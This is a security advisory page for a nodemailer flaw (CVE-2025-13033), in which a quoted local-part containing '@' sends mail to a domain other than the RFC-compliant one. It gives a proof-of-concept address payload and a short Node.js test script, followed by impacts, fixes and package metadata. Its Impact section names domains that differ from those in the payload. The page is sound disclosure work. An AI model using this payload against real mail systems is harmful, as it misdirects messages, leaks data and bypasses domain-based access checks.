Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.
Payload: "xclow3n@gmail.com x"@internal.domain
Using the following code to send mail
const nodemailer = require("nodemailer");
let transporter = nodemailer.createTransport({
service: "gmail",
auth: {
user: "",
pass: "",
},
});
let mailOptions = {
from: '"Test Sender" <your_email@gmail.com>',
to: "\"xclow3n@gmail.com x\"@internal.domain",
subject: "Hello from Nodemailer",
text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log("Error: ", error);
}
console.log("Message sent: %s", info.messageId);
});
(async () => {
const parser = await import("@sparser/email-address-parser");
const { EmailAddress, ParsingOptions } = parser.default;
const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);
if (!parsed) {
console.error("Invalid email address:", mailOptions.to);
return;
}
console.log("Parsed email:", {
address: `${parsed.localPart}@${parsed.domain}`,
local: parsed.localPart,
domain: parsed.domain,
});
})();Running the script and seeing how this mail is parsed according to RFC
Parsed email: {
address: '"xclow3n@gmail.com x"@internal.domain',
local: '"xclow3n@gmail.com x"',
domain: 'internal.domain'
}But the email is sent to xclow3n@gmail.com
Impact:
-
Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
-
Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
-
Potential compliance issue: Violates RFC 5321/5322 parsing rules.
-
Domain based access control bypass in downstream applications using your library to send mails
Recommendations
-
Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
-
Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | nodemailer | < 7.0.7 | 7.0.7 |
References
- https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87
- https://nvd.nist.gov/vuln/detail/CVE-2025-13033
- https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626
- https://access.redhat.com/security/cve/CVE-2025-13033
- https://bugzilla.redhat.com/show_bug.cgi?id=2402179
- https://github.com/nodemailer/nodemailer
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-20, CWE-436- Platform
- npm
- Package
nodemailer- Disclosed
- 07.10.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mm7p-fcc7-pg87 - CC BY 4.0
Vulnerability history: nodemailer
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 20
- First → latest
- 05.2021 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 6
- Medium 12
- Low 1
Disclosures per year
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 2
- 2026: 15
-
Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.